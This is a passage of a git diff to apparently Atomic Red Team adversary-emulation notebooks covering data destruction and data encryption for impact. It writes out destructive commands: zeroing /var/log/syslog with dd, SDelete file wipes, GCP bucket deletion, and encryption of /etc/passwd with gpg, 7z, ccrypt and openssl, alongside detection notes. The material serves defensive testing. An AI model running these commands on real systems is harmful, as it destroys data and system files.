infrastructure crucial to operations to damage an organization or their customers.(Citation: Data Destruction - Threat Post)(Citation: DOJ - Cisco Insider)" }, { "cell_type": "markdown", - "id": "ecc07a8f", + "id": "e0f243d9", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "604f106e", + "id": "b5f4cbd3", "metadata": {}, - "source": "### Atomic Test #1 - Windows - Overwrite file with Sysinternals SDelete\nOverwrites and deletes a file using Sysinternals SDelete. Upon successful execution, \"Files deleted: 1\" will be displayed in\nthe powershell session along with other information about the file that was deleted.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Secure delete tool from Sysinternals must exist on disk at specified location (#{sdelete_exe})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path $env:TEMP\\Sdelete\\sdelete.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInvoke-WebRequest \"https://download.sysinternals.com/files/SDelete.zip\" -OutFile \"$env:TEMP\\SDelete.zip\"\nExpand-Archive $env:TEMP\\SDelete.zip $env:TEMP\\Sdelete -Force\nRemove-Item $env:TEMP\\SDelete.zip -Force\n\n```" + "source": "### Atomic Test #1 - Windows - Overwrite file with SysInternals SDelete\nOverwrites and deletes a file using SysInternals SDelete. Upon successful execution, \"Files deleted: 1\" will be displayed in\nthe powershell session along with other information about the file that was deleted.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Secure delete tool from SysInternals must exist on disk at specified location (#{sdelete_exe})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\Sdelete\\sdelete.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest \"https://download.sysinternals.com/files/SDelete.zip\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\SDelete.zip\"\nExpand-Archive \"PathToAtomicsFolder\\..\\ExternalPayloads\\SDelete.zip\" \"PathToAtomicsFolder\\..\\ExternalPayloads\\Sdelete\" -Force\nRemove-Item \"PathToAtomicsFolder\\..\\ExternalPayloads\\SDelete.zip\" -Force\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "5c89bca3", + "id": "3719c837", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1485 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "cbf6f94a", + "id": "6b60069c", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\nif (-not (Test-Path $env:TEMP\\T1485.txt)) { New-Item $env:TEMP\\T1485.txt -Force }\nInvoke-Expression -Command \"$env:TEMP\\Sdelete\\sdelete.exe -accepteula $env:TEMP\\T1485.txt\"\n```" + "```powershell\nif (-not (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1485.txt\")) { New-Item \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1485.txt\" -Force }\n& \"PathToAtomicsFolder\\..\\ExternalPayloads\\Sdelete\\sdelete.exe\" -accepteula \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1485.txt\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "cde2fe9c", + "id": "2631458b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1485 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "7af5f326", + "id": "ad65aaf9", "metadata": {}, "source": [ - "### Atomic Test #2 - macOS/Linux - Overwrite file with DD", + "### Atomic Test #2 - FreeBSD/macOS/Linux - Overwrite file with DD", "Overwrites and deletes a file using DD.\nTo stop the test, break the command with CTRL/CMD+C.\n", "**Supported Platforms:** linux, macos", - "#### Attack Commands: Run with `bash`\n", - "```bash\ndd of=/var/log/syslog if=/dev/zero count=$(ls -l /var/log/syslog | awk '{print $5}') iflag=count_bytes\n```" + "#### Attack Commands: Run with `sh`\n", + "```sh\ndd of=/var/log/syslog if=/dev/zero count=$(ls -l /var/log/syslog | awk '{print $5}') iflag=count_bytes\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "b7ca93a8", + "id": "cf5fb37e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1485 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "e18cb68e", + "id": "07a2314d", "metadata": {}, "source": [ "### Atomic Test #3 - Overwrite deleted data on C drive", @@ -78,20 +78,65 @@ { "cell_type": "code", "execution_count": null, - "id": "d74bb529", + "id": "38abbd53", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1485 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "c5795909", + "id": "6fc593e1", + "metadata": {}, + "source": "### Atomic Test #4 - GCP - Delete Bucket\nThis Atomic will create a Google Storage Bucket then delete it. The idea for this Atomic came from a Rule published by the Elastic team.\n\nIdentifies when a Google Cloud Platform (GCP) storage bucket is deleted. An adversary may delete a storage bucket in order to disrupt their target's business operations.\nThis atomic will create a bucket then delete the bucket.\n\nReference: https://github.com/elastic/detection-rules/blob/main/rules/integrations/gcp/impact_gcp_storage_bucket_deleted.toml\n\n**Supported Platforms:** iaas:gcp\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Requires gcloud\n\n##### Check Prereq Commands:\n```sh\nif [ -x \"$(command -v gcloud)\" ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```sh\necho \"Please Install Google Cloud SDK before running this atomic test : https://cloud.google.com/sdk/docs/install\"\n\n```\n##### Description: Check if user is logged in \n\n##### Check Prereq Commands:\n```sh\ngcloud config get-value account\n\n```\n##### Get Prereq Commands:\n```sh\ngcloud auth login --no-launch-browser\n\n```\n##### Description: Check if terraform is installed.\n\n##### Check Prereq Commands:\n```sh\nterraform version\n\n```\n##### Get Prereq Commands:\n```sh\necho Please install the terraform.\n\n```\n##### Description: Create dependency resources using terraform\n\n##### Check Prereq Commands:\n```sh\nstat \"$PathToAtomicsFolder/T1485/src/T1485-4/terraform.tfstate\"\n\n```\n##### Get Prereq Commands:\n```sh\ncd \"$PathToAtomicsFolder/T1485/src/T1485-4/\"\nterraform init\nterraform apply -auto-approve\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "93709e20", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1485 -TestNumbers 4 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "f0424c4c", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `sh`\n", + "```sh\ngcloud config set project atomic-test-1\ngcloud storage buckets delete gs://atomic-red-team-bucket\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "a37f2821", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1485 -TestNumbers 4" + }, + { + "cell_type": "markdown", + "id": "36f85854", + "metadata": {}, + "source": "#### Cleanup: \n```sh\ncd \"$PathToAtomicsFolder/T1485/src/T1485-4/\"\nterraform state rm google_storage_bucket.bucket\nterraform destroy -auto-approve\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "db2238af", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1485 -TestNumbers 4 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "18fd8241", "metadata": {}, "source": "## Detection\nUse process monitoring to monitor the execution and command-line parameters of binaries that could be involved in data destruction activity, such as [SDelete](https://attack.mitre.org/software/S0195). Monitor for the creation of suspicious files as well as high unusual file modification activity. In particular, look for large quantities of file modifications in user directories and under C:\\Windows\\System32\\.\n\nIn cloud environments, the occurrence of anomalous high-volume deletion events, such as the DeleteDBCluster and DeleteGlobalCluster events in AWS, or a high quantity of data deletion events, such as DeleteBucket, within a short period of time may indicate suspicious activity." }, { "cell_type": "markdown", - "id": "2d892fca", + "id": "377ecf38", "metadata": {}, "source": "\n## Shield Active Defense\n### Backup and Recovery \n Make copies of key system software, configuration, and data to enable rapid system restoration. \n\n Employ disk imaging, system backup, or file synchronization tools to create copies of key data on a protected backup repository. This is typically done to capture/restore an entire system or major subsystems.\n#### Opportunity\nThere is an opportunity to test what an adversary might do if destroyed data is selectively replaced by the defender.\n#### Use Case\nA defender can ensure data is backed up on a regular basis and backups are stored offline from the system. If an adversary is detected destroying or altering data, the defender could selectively restore data from backup to see how the adversary reacts.\n#### Procedures\nBackup data on public facing websites and retain the files offline. In the event of data damage or loss, restore the data from backup.\nBackup data on an end-user system and store offline. If an adversary alters or deletes data on the system, restore the data using the backup copy.\nIn an adversary engagement situation, if an adversary deletes or alters files on a machine they are controlling, restore the data to it original state and location to see how the adversary reacts.\n" } @@ -99,13 +144,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/impact/T1486.ipynb b/playbook/tactics/impact/T1486.ipynb index b8785a27..daf8d721 100644 --- a/playbook/tactics/impact/T1486.ipynb +++ b/playbook/tactics/impact/T1486.ipynb @@ -2,199 +2,199 @@ "cells": [ { "cell_type": "markdown", - "id": "e8dceb2c", + "id": "39d787e1", "metadata": {}, "source": "# T1486 - Data Encrypted for Impact\nAdversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.(Citation: US-CERT Ransomware 2016)(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)(Citation: US-CERT SamSam 2018)\n\nIn the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted (and often renamed and/or tagged with specific file markers). Adversaries may need to first employ other behaviors, such as [File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222) or [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529), in order to unlock and/or gain access to manipulate these files.(Citation: CarbonBlack Conti July 2020) In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.(Citation: US-CERT NotPetya 2017) \n\nTo maximize impact on the target organization, malware designed for encrypting data may have worm-like features to propagate across a network by leveraging other attack techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017) Encryption malware may also leverage [Internal Defacement](https://attack.mitre.org/techniques/T1491/001), such as changing victim wallpapers, or otherwise intimidate victims by sending ransom notes or other messages to connected printers (known as \"print bombing\").(Citation: NHS Digital Egregor Nov 2020)\n\nIn cloud environments, storage objects within compromised accounts may also be encrypted.(Citation: Rhino S3 Ransomware Part 1)" }, { "cell_type": "markdown", - "id": "73e976d5", + "id": "7c4230cc", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "dae8d52d", + "id": "e0b766d5", "metadata": {}, - "source": "### Atomic Test #1 - Encrypt files using gpg (Linux)\nUses gpg to encrypt a file\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: Finds where gpg is located\n\n##### Check Prereq Commands:\n```bash\nwhich_gpg=`which gpg`\n\n```\n##### Get Prereq Commands:\n```bash\n(which yum && yum -y install epel-release gpg)||(which apt-get && DEBIAN_FRONTEND=noninteractive apt-get install -y gpg)\n\n```" + "source": "### Atomic Test #1 - Encrypt files using gpg (FreeBSD/Linux)\nUses gpg to encrypt a file\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: Finds where gpg is located\n\n##### Check Prereq Commands:\n```sh\nwhich_gpg=`which gpg`\n\n```\n##### Get Prereq Commands:\n```sh\n(which pkg && pkg install -y gnupg)||(which yum && yum -y install epel-release gpg)||(which apt-get && DEBIAN_FRONTEND=noninteractive apt-get install -y gpg)\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "529f4abf", + "id": "9243ac5f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1486 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "44246b6e", + "id": "d5663521", "metadata": {}, "source": [ - "#### Attack Commands: Run with `bash`\n", - "```bash\necho \"passwd\" | $which_gpg --batch --yes --passphrase-fd 0 --cipher-algo AES-256 -o /tmp/passwd.gpg -c /etc/passwd\n```" + "#### Attack Commands: Run with `sh`\n", + "```sh\necho \"passwd\" | $which_gpg --batch --yes --passphrase-fd 0 --cipher-algo AES-256 -o /tmp/passwd.gpg -c /etc/passwd\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "59a5149c", + "id": "70f1a54c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1486 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "9e0be650", + "id": "fd992822", "metadata": {}, - "source": "#### Cleanup: \n```bash\nrm /tmp/passwd.gpg\n```" + "source": "#### Cleanup: \n```sh\nrm /tmp/passwd.gpg\n```" }, { "cell_type": "code", "execution_count": null, - "id": "9aecf401", + "id": "e2b5cd7a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1486 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "e95e2325", + "id": "af52fa34", "metadata": {}, - "source": "### Atomic Test #2 - Encrypt files using 7z (Linux)\nUses 7z to encrypt a file\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: Finds where 7z is located\n\n##### Check Prereq Commands:\n```bash\nwhich_7z=`which 7z`\n\n```\n##### Get Prereq Commands:\n```bash\nNone\n```" + "source": "### Atomic Test #2 - Encrypt files using 7z (FreeBSD/Linux)\nUses 7z to encrypt a file\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: Finds where 7z is located\n\n##### Check Prereq Commands:\n```sh\nwhich_7z=`which 7z`\n\n```\n##### Get Prereq Commands:\n```sh\n(which pkg && pkg install -y 7-zip)\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "c0b5e81a", + "id": "962bb7a3", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1486 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "26d20629", + "id": "5de554b0", "metadata": {}, "source": [ - "#### Attack Commands: Run with `bash`\n", - "```bash\n$which_7z a -ppasswd /tmp/passwd.zip /etc/passwd\n```" + "#### Attack Commands: Run with `sh`\n", + "```sh\n$which_7z a -ppasswd /tmp/passwd.zip /etc/passwd\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "ffdf3ffa", + "id": "3a1965dc", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1486 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "d25c9cfb", + "id": "59052fea", "metadata": {}, - "source": "#### Cleanup: \n```bash\n$which_7z e /tmp/passwd.zip\nrm /tmp/passwd.zip\n```" + "source": "#### Cleanup: \n```sh\n$which_7z e /tmp/passwd.zip\nrm /tmp/passwd.zip\n```" }, { "cell_type": "code", "execution_count": null, - "id": "79ed53b5", + "id": "25895d5e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1486 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "df2ef8d1", + "id": "e61bf05c", "metadata": {}, - "source": "### Atomic Test #3 - Encrypt files using ccrypt (Linux)\nAttempts to encrypt data on target systems as root to simulate an inturruption authentication to target system. If root permissions are not available then attempts to encrypt data within user's home directory.\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: Finds where ccencrypt and ccdecrypt is located and copies input file\n\n##### Check Prereq Commands:\n```bash\nwhich_ccencrypt=`which ccencrypt`\nwhich_ccdecrypt=`which ccdecrypt`\nif [[ $USER == \"root\" ]]; then cp /etc/passwd /tmp/passwd; else cp ~/.bash_history /tmp/passwd; fi\n\n```\n##### Get Prereq Commands:\n```bash\n(which yum && yum -y install epel-release ccrypt)||(which apt-get && DEBIAN_FRONTEND=noninteractive apt-get install -y ccrypt)\n\n```" + "source": "### Atomic Test #3 - Encrypt files using ccrypt (FreeBSD/Linux)\nAttempts to encrypt data on target systems as root to simulate an inturruption authentication to target system. If root permissions are not available then attempts to encrypt data within user's home directory.\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Finds where ccencrypt and ccdecrypt is located and copies input file\n\n##### Check Prereq Commands:\n```sh\nwhich_ccencrypt=`which ccencrypt`\nwhich_ccdecrypt=`which ccdecrypt`\nif [ $USER == \"root\" ]; then cp /etc/passwd /tmp/passwd; else cp ~/.bash_history /tmp/passwd; fi\n\n```\n##### Get Prereq Commands:\n```sh\n(which pkg && pkg install -y ccript)||(which yum && yum -y install epel-release ccrypt)||(which apt-get && DEBIAN_FRONTEND=noninteractive apt-get install -y ccrypt)\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "c293822e", + "id": "153265f1", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1486 -TestNumbers 3 -GetPreReqs" }, { "cell_type": "markdown", - "id": "9d3b18c2", + "id": "91f07d8f", "metadata": {}, "source": [ - "#### Attack Commands: Run with `bash`\n", - "```bash\nif [[ $USER == \"root\" ]]; then $which_ccencrypt /etc/passwd; file /etc/passwd.cpt; sudo su; else $which_ccencrypt ~/.bash_history; file ~/.bash_history.cpt; sudo su; fi\n```" + "#### Attack Commands: Run with `sh`\n", + "```sh\nif [ $USER == \"root\" ]; then $which_ccencrypt /etc/passwd; file /etc/passwd.cpt; sudo su; else $which_ccencrypt ~/.bash_history; file ~/.bash_history.cpt; sudo su; fi\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "652a7434", + "id": "37d15962", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1486 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "d0e1d892", + "id": "6a3a75c5", "metadata": {}, - "source": "#### Cleanup: \n```bash\nif [[ $USER == \"root\" ]]; then mv /tmp/passwd /etc/passwd; else cp /tmp/passwd ~/.bash_history; fi \n```" + "source": "#### Cleanup: \n```sh\nif [ $USER == \"root\" ]; then mv /tmp/passwd /etc/passwd; else cp /tmp/passwd ~/.bash_history; fi \n```" }, { "cell_type": "code", "execution_count": null, - "id": "19471532", + "id": "c360ac6d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1486 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "5104e947", + "id": "9b18ea27", "metadata": {}, - "source": "### Atomic Test #4 - Encrypt files using openssl (Linux)\nUses openssl to encrypt a file\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: Finds where openssl is located\n\n##### Check Prereq Commands:\n```bash\nwhich_openssl=`which openssl`\n\n```\n##### Get Prereq Commands:\n```bash\nNone\n```" + "source": "### Atomic Test #4 - Encrypt files using openssl (FreeBSD/Linux)\nUses openssl to encrypt a file\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: Finds where openssl is located\n\n##### Check Prereq Commands:\n```sh\nwhich_openssl=`which openssl`\n\n```\n##### Get Prereq Commands:\n```sh\nNone\n```" }, { "cell_type": "code", "execution_count": null, - "id": "2e08c4aa", + "id": "9bf1e47f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1486 -TestNumbers 4 -GetPreReqs" }, { "cell_type": "markdown", - "id": "4672a396", + "id": "89ee82ec", "metadata": {}, "source": [ - "#### Attack Commands: Run with `bash`\n", - "```bash\n$which_openssl genrsa -out /tmp/key.pem 2048\n$which_openssl rsa -in /tmp/key.pem -pubout -out /tmp/pub.pem\n$which_openssl rsautl -encrypt -inkey /tmp/pub.pem -pubin -in /etc/passwd -out /tmp/passwd.zip\n```" + "#### Attack Commands: Run with `sh`\n", + "```sh\n$which_openssl genrsa -out /tmp/key.pem 2048\n$which_openssl rsa -in /tmp/key.pem -pubout -out /tmp/pub.pem\n$which_openssl rsautl -encrypt -inkey /tmp/pub.pem -pubin -in /etc/passwd -out /tmp/passwd.zip\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "96e6bfd3", + "id": "afa09a19", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1486 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "399d8651", + "id": "3388a2d0", "metadata": {}, - "source": "#### Cleanup: \n```bash\n$which_openssl rsautl -decrypt -inkey /tmp/key.pem -in /tmp/passwd.zip\nrm /tmp/passwd.zip\n```" + "source": "#### Cleanup: \n```sh\n$which_openssl rsautl -decrypt -inkey /tmp/key.pem -in /tmp/passwd.zip\nrm /tmp/passwd.zip\n```" }, { "cell_type": "code", "execution_count": null, - "id": "fd02d51e", + "id": "fd829985", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1486 -TestNumbers 4 -Cleanup" }, { "cell_type": "markdown", - "id": "8b462bc9", + "id": "007bae1c", "metadata": {}, "source": [ "### Atomic Test #5 - PureLocker Ransom Note", @@ -208,34 +208,159 @@ { "cell_type": "code", "execution_count": null, - "id": "6faa582b", + "id": "068afaf6", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1486 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "95c65e33", + "id": "9ded16a1", "metadata": {}, "source": "#### Cleanup: \n```cmd\ndel %USERPROFILE%\\Desktop\\YOUR_FILES.txt >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "0cecd592", + "id": "f8411ebf", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1486 -TestNumbers 5 -Cleanup" }, { "cell_type": "markdown", - "id": "57dd9fc5", + "id": "70e2daf8", + "metadata": {}, + "source": "### Atomic Test #6 - Encrypt files using 7z utility - macOS\nThis test encrypts the file(s) using the 7z utility\n\n**Supported Platforms:** macos\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Check if 7z command exists on the machine\n\n##### Check Prereq Commands:\n```sh\nwhich 7z\n\n```\n##### Get Prereq Commands:\n```sh\necho Installing 7z, using brew\n/bin/bash -c \"$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)\"\nbrew install p7zip\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "e739acfd", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1486 -TestNumbers 6 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "4c63f182", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `sh`\n", + "```sh\n7z a -p ARTPass -mhe=on ARTArchive.7z ~/test.txt\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "14226aa9", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1486 -TestNumbers 6" + }, + { + "cell_type": "markdown", + "id": "8450ae9c", + "metadata": {}, + "source": "#### Cleanup: \n```sh\nrm ARTArchive.7z\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "c93f0e58", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1486 -TestNumbers 6 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "89c320a0", + "metadata": {}, + "source": [ + "### Atomic Test #7 - Encrypt files using openssl utility - macOS", + "This test encrypts the file(s) using the openssl utility\n", + "**Supported Platforms:** macos", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `sh`\n", + "```sh\nopenssl enc -pbkdf2 -in ~/test.txt -out ARTFile\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "2dbcac6a", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1486 -TestNumbers 7" + }, + { + "cell_type": "markdown", + "id": "b91f83a3", + "metadata": {}, + "source": "#### Cleanup: \n```sh\nrm ARTFile\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "306dd574", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1486 -TestNumbers 7 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "def64532", + "metadata": {}, + "source": "### Atomic Test #8 - Data Encrypted with GPG4Win\nGpg4win is a Windows tool (also called Kleopatra which is the preferred certificate manager) that uses email and file encryption packages for symmetric encryption. It is used by attackers to encrypt disks. User will need to add pass phrase to encrypt file as automation is not allowed under newer versions.\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: GPG must exist at (#{GPG_Exe_Location})\n\n##### Check Prereq Commands:\n```powershell\nif (test-path 'C:\\Program Files (x86)\\GnuPG\\bin\\gpg.exe'){exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\ninvoke-webrequest \"https://files.gpg4win.org/gpg4win-4.1.0.exe\" -outfile \"PathToAtomicsFolder\\..\\ExternalPayloads\\gpginstall.exe\"\ncmd /c \"PathToAtomicsFolder\\..\\ExternalPayloads\\gpginstall.exe\" /S\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "362dba76", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1486 -TestNumbers 8 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "2f7dff2e", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `powershell`\n", + "```powershell\ncmd /c 'C:\\Program Files (x86)\\GnuPG\\bin\\gpg.exe' -c '$env:temp\\test.txt'\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "2db8db18", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1486 -TestNumbers 8" + }, + { + "cell_type": "markdown", + "id": "084b800e", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nremove-item '$env:temp\\test.txt.gpg' -force -erroraction silentlycontinue | out-null\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "23712dac", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1486 -TestNumbers 8 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "405a6494", "metadata": {}, "source": "## Detection\nUse process monitoring to monitor the execution and command line parameters of binaries involved in data destruction activity, such as vssadmin, wbadmin, and bcdedit. Monitor for the creation of suspicious files as well as unusual file modification activity. In particular, look for large quantities of file modifications in user directories.\n\nIn some cases, monitoring for unusual kernel driver installation activity can aid in detection.\n\nIn cloud environments, monitor for events that indicate storage objects have been anomalously replaced by copies." }, { "cell_type": "markdown", - "id": "4a7b0359", + "id": "e062ace8", "metadata": {}, "source": "\n## Shield Active Defense\n### System Activity Monitoring \n Collect system activity logs which can reveal adversary activity. \n\n Capturing system logs can show logins, user and system events, etc. Collecting this data and potentially sending it to a centralized location can help reveal the presence of an adversary and the actions they perform on a compromised system.\n#### Opportunity\nThere is an opportunity to create a detection with a moderately high probability of success.\n#### Use Case\nA defender can use process monitoring to look for the execution of utilities commonly used for ransomware and other data encryption.\n#### Procedures\nEnsure that systems capture and retain common system level activity artifacts that might be produced.\nMonitor Windows systems for event codes that reflect an adversary changing passwords, adding accounts to groups, etc.\n" } @@ -243,13 +368,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/impact/T1487.ipynb b/playbook/tactics/impact/T1487.ipynb deleted file mode 100644 index 88d2ecab..00000000 --- a/playbook/tactics/impact/T1487.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "4d33d4d4", - "metadata": {}, - "source": "# T1487 - Disk Structure Wipe\nAdversaries may corrupt or wipe the disk data structures on hard drive necessary to boot systems; targeting specific critical systems as well as a large number of systems in a network to interrupt availability to system and network resources. \n\nAdversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk. If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable. [Disk Structure Wipe](https://attack.mitre.org/techniques/T1487) may be performed in isolation, or along with [Disk Content Wipe](https://attack.mitre.org/techniques/T1488) if all sectors of a disk are wiped.\n\nTo maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)" - }, - { - "cell_type": "markdown", - "id": "cfbb1e97", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "3b0c3d2d", - "metadata": {}, - "source": "## Detection\nLook for attempts to read/write to sensitive locations like the master boot 